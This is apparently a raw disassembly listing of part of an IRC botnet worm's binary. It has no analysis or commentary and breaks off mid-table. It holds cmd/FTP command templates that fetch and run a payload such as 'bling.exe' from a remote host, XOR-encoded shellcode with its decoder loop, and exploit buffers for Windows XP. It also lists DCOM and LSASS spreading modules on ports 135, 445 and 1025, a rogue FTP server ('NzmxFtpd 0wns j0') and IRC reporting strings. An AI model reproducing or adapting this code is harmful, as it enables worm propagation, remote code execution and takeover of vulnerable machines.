sub_403A35+1Bo ; sub_40EE72+822o add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_42896A ; --------------------------------------------------------------------------- db 3 dup(0) dword_4289AC dd 60h ; DATA XREF: sub_403A90+320o dword_4289B0 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o dword_4289BC dd 30h ; DATA XREF: sub_403A90+2CAo dword_4289C0 dd 0A1h ; DATA XREF: sub_403A90+29Fo dword_4289C4 dd 3 ; DATA XREF: sub_403A90+246o aCccc db 'CCCC',0 ; DATA XREF: sub_403A90+153o align 10h loc_4289D0: ; DATA XREF: sub_403A90+E8o jmp short near ptr dword_4289D8 ; --------------------------------------------------------------------------- align 8 dword_4289D8 dd 0 ; CODE XREF: ___:loc_4289D0j aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: ___:004042E4o ; sub_404F9A+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_428A50 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo ; --------------------------------------------------------------------------- loc_428A5C: ; CODE XREF: ___:00428A66j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_428A5C inc edi jz short loc_428AA3 and eax, 952CE753h inc esp jle short loc_428ACB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_428AA3: ; CODE XREF: ___:00428A69j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_428B02+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_428AC8: ; CODE XREF: ___:00428AF5j xor [esi-25h], bl loc_428ACB: ; CODE XREF: ___:00428A71j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_428AE4: ; CODE XREF: ___:00428B17j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_428AC8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_428B02: ; CODE XREF: ___:00428AA9j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_428B8E jo short loc_428AE4 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_428B25+1 add bl, [edi] loc_428B25: ; CODE XREF: ___:00428B21j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_428B3A+2 cmp ch, bh dec edx loc_428B3A: ; CODE XREF: ___:00428B35j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_428B8E: ; CODE XREF: ___:00428B15j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_428C14 sub al, 0BCh jmp near ptr 54448F82h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_428BB0 dd 0EFFFC481h, 44FFFFh, 428BFCh ; DATA XREF: ___:00404BE6o dword_428BBC dd 42Ah ; DATA XREF: ___:00404B99r dword_428BC0 dd 3E8h ; DATA XREF: ___:00404C0Ar dword_428BC4 dd 258h ; DATA XREF: ___:00404BDCr byte_428BC8 db 0 ; DATA XREF: ___:00404B45r ; ___:00404C13r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_428BE0 dd 20804h ; DATA XREF: sub_404853r ___:00404C31o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_428C14: ; CODE XREF: ___:00428B98j push eax xor al, 29h loc_428C17: ; DATA XREF: ___:00404B6Do add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_428C20 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:00404A9Do dword_428C34 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:00404A41o aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o align 4 a_: ; DATA XREF: sub_406387+252o unicode 0, <.>,0 dword_428C60 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh dup(64646464h) db 2 dup(64h) word_429042 dw 6464h ; DATA XREF: ___:00428641o dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h dup(69696969h) dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh) dd 16B6B6Bh, 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h dd 5780EE37h, 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h dd 78A9269Bh, 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 loc_429E74: ; DATA XREF: ___:00405319o add al, 54h dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax loc_429E92: ; CODE XREF: ___:00429EE2j inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx fmul st(1), st mov al, 42h jmp short loc_429EE9 ; --------------------------------------------------------------------------- dec edx inc ebx push esp dec eax inc ebx and [ecx], eax jo short loc_429E92 inc edx add [eax-52h], esi inc edx loc_429EE9: ; CODE XREF: ___:00429ED9j mov edi, esp add edi, 2Ch sub sp, 204h xor ecx, ecx mov dl, 35h add cx, 138h loc_429EFC: ; CODE XREF: ___:00429F03j mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_429EFC ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl int 28h ; DOS 2+ internal - KEYBOARD BUSY LOOP test eax, 79E4B9EBh inc ebp loope loc_429F4D lds edx, [edx] adc eax, 623D0515h db 66h pop es push 6 pop es assume es:nothing sbb esi, [ecx+79h] jns short near ptr loc_429F59+3 fidiv word ptr [eax] fxch4 st(4) retf 0CACAh ; --------------------------------------------------------------------------- db 68h dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh, 0B83D4DBEh dd 2EBE096Ah, 6EBECE34h ; --------------------------------------------------------------------------- dec ebp loc_429F4D: ; CODE XREF: ___:00429F15j xor al, 0CEh mov esi, 0CC34297Eh mov esi, 0CF341166h loc_429F59: ; CODE XREF: ___:00429F26j db 64h, 67h mov si, 156Eh xor al, 0CEh add al, 0FCh jz short near ptr loc_429F67+2 cmc lodsb loc_429F67: ; CODE XREF: ___:00429F63j mov esi, 0CB34BE01h cdq add al, 0F7h in al, 0D7h mov cl, 0F5h inc eax retn 833Ah ; --------------------------------------------------------------------------- db 70h dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h word_42A040 dw 7A69h ; DATA XREF: sub_405144+30r align 4 aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_405144+97o db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 10h unk_42A0B0 db 2 ; DATA XREF: ___:00405367o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 25h, 73h, 2Eh db 65h ; e db 1Fh, 78h, 1Fh db 70h ; p db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aAttemptingToRo db 'attempting to root %s',0 align 10h a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o aQuit db 'QUIT',0 ; DATA XREF: sub_4053D5+5BCo ; sub_40EE72+537o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_4053D5+5AFo align 4 unk_42A128 db 3 ; DATA XREF: sub_4053D5+564o db 33h, 6Eh, 2 db 7Ah ; z db 1Fh, 6Dh, 1Fh db 20h db 28h, 66h, 74h db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 3, 34h aSPortDNowExecu db '╩╩ %s, port:%d now executing %s on remote ABOSAL7.',0 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_4053D5+519o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_4053D5+501o align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4053D5+4DBo aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4053D5+4A8o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_4053D5+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo align 4 aList db 'LIST',0 ; DATA XREF: sub_4053D5+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_4053D5+3AFo align 10h aPasv db 'PASV',0 ; DATA XREF: sub_4053D5+39Co align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co aI: ; DATA XREF: sub_4053D5+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o aA: ; DATA XREF: sub_4053D5+33Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_4053D5+326o ; sub_4053D5+361o align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o align 10h off_42A2D0 dd offset dword_445750 ; DATA XREF: sub_4053D5+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o align 4 aRest db 'REST',0 ; DATA XREF: sub_4053D5+2DEo align 10h a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo align 10h aSyst db 'SYST',0 ; DATA XREF: sub_4053D5+2BAo align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo align 10h aPass db 'PASS',0 ; DATA XREF: sub_4053D5+296o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o align 10h aUser_1 db 'USER',0 ; DATA XREF: sub_4053D5+271o align 4 aSS_1 db '%s %s',0 ; DATA XREF: sub_4053D5+260o align 10h a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o align 4 aRb db 'rb',0 ; DATA XREF: sub_405A58+24o ; sub_406C19+12Eo ... align 4 unk_42A36C db 2 ; DATA XREF: sub_405AF2+3F8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 10h asc_42A3B0 db 0Dh,0Ah,0 ; DATA XREF: sub_405AF2+2CFo align 4 asc_42A3B4: ; DATA XREF: sub_405AF2+293o ; sub_40EE72+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_405AF2+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F4D+98o ; sub_40B8D8+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_405F4D+5Fo align 4 unk_42A5D4 db 2 ; DATA XREF: sub_4060D0+296o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_42A61C db 2 ; DATA XREF: sub_4060D0+212o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_42A65C: ; DATA XREF: sub_4060D0+15Ao unicode 0, <*>,0 asc_42A660: ; DATA XREF: sub_4060D0+FBo ; sub_406387+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: sub_4060D0+EAo ; sub_406387+4DAo ... align 4 aS_1 db '%s',0 ; DATA XREF: sub_4060D0+3Ao ; sub_40B390+4Co ... align 10h aS_2 db '\%s',0 ; DATA XREF: sub_4060D0+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_406387+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_406387+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o align 4 aSS db '%s%s/',0 ; DATA XREF: sub_406387+36Co align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+328o ; sub_406387+496o db '<TD WIDTH="%d"><A HREF="',0 align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_406387+310o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_406387+2E9o ; sub_406387+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo aAm db 'AM',0 ; DATA XREF: sub_406387+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_406387+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_406387+237o align 10h aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_406387+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_42AB14 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C19+493o dword_42AB20 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+47Fo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah dd 2E2973h unk_42AB74 db 2 ; DATA XREF: sub_406C19+3B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundSS db ' File not found: %s (%s).',0 dword_42ABA8 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_406C19+399o dword_42ABBC dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+33Eo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h dd 3A6F666Eh, 73252820h, 2E29h unk_42AC04 db 2 ; DATA XREF: sub_406C19+15Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToOpenFi db ' Failed to open file: %s.',0 unk_42AC38 db 2 ; DATA XREF: sub_406C19+6Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketF_2 db ' Error: socket() failed, returned: <%d>.',0 align 4 aOctet db 'octet',0 ; DATA XREF: sub_406C19+Fo align 8 aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_407767+169o db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: ___:00405361o align 4 dd 5 dup(0) dword_42ACB0 dd 87h ; DATA XREF: sub_407110+1Er ; sub_40EE72+30B3r ... off_42ACB4 dd offset sub_402DD7 ; DATA XREF: sub_407767+1EAr dword_42ACB8 dd 0 ; DATA XREF: sub_402DD7+2E1w ; sub_402DD7+2E7r ... dword_42ACBC dd 1 ; DATA XREF: sub_407252+1Fr dword_42ACC0 dd 0 ; DATA XREF: sub_407252:loc_4074C3r aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 402DD7h, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 4 dd 5 dup(0) dd 401h, 402DD7h, 0 dd 1, 0 aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h dd 353331h, 5 dup(0) dd 87h, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h dd 393331h, 5 dup(0) dd 8Bh, 403688h, 0 dd 2 dup(1), 